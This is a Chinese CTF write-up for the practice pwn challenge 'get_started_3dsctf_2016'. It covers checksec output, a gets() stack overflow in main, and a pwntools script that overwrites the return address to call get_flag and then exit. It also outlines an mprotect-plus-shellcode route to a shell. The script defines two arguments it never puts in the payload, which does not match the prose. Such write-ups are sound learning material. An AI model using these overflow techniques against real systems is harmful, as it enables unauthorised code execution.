get_started_3dsctf_2016 WriteUp
考点
- 对栈溢出函数带参数的溢出理解
解题内容
-
使用
checksec
工具查看基本信息:❯ ~/.local/bin/checksec ./get_started_3dsctf_2016 [*] '/home/bronya/Documents/ctf/pwn/get_started_3dsctf_2016/get_started_3dsctf_2016' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看到为32位程序,只开了nx防护。
-
ida工具打开程序,反编译,有主要函数
main
,get_flag
main
:get_flag
:存在漏洞点为
main
函数中的gets(v4)
,因此可以通过此进行栈溢出将返回地址改为get_flag
函数地址,获取flag -
在本地测试成功,但是进行远程测试出现问题,发现远程程序崩溃了,应该是因为栈的数据被破坏,导致程序无法完整运行:
-
考虑在
get_flag
后加上exit
函数以及get_flag
所需的两个参数,使其正常完成并退出。构造python脚本如下:
from pwn import * context(arch="i386", log_level="debug") p = process("./get_started_3dsctf_2016") # p = remote("node4.buuoj.cn", 25523) get_flag = 0x080489B8 exit = 0x0804E6A0 retn = 0x08048A40 a1 = 0x308CD64F a2 = 0x195719D1 # gdb.attach(p, 'b *0x8048A3B') payload = flat(b'a'*56, get_flag, exit) p.sendline(payload) p.interactive()
-
成功获取flag
-
另外还有一种思路是程序中存在mprotect函数,可以修改程序中某一段地址的读写执行权限,因此可以将某段bss地址修改,并写入shellcode,令程序跳转到bss地址即可拿到shell。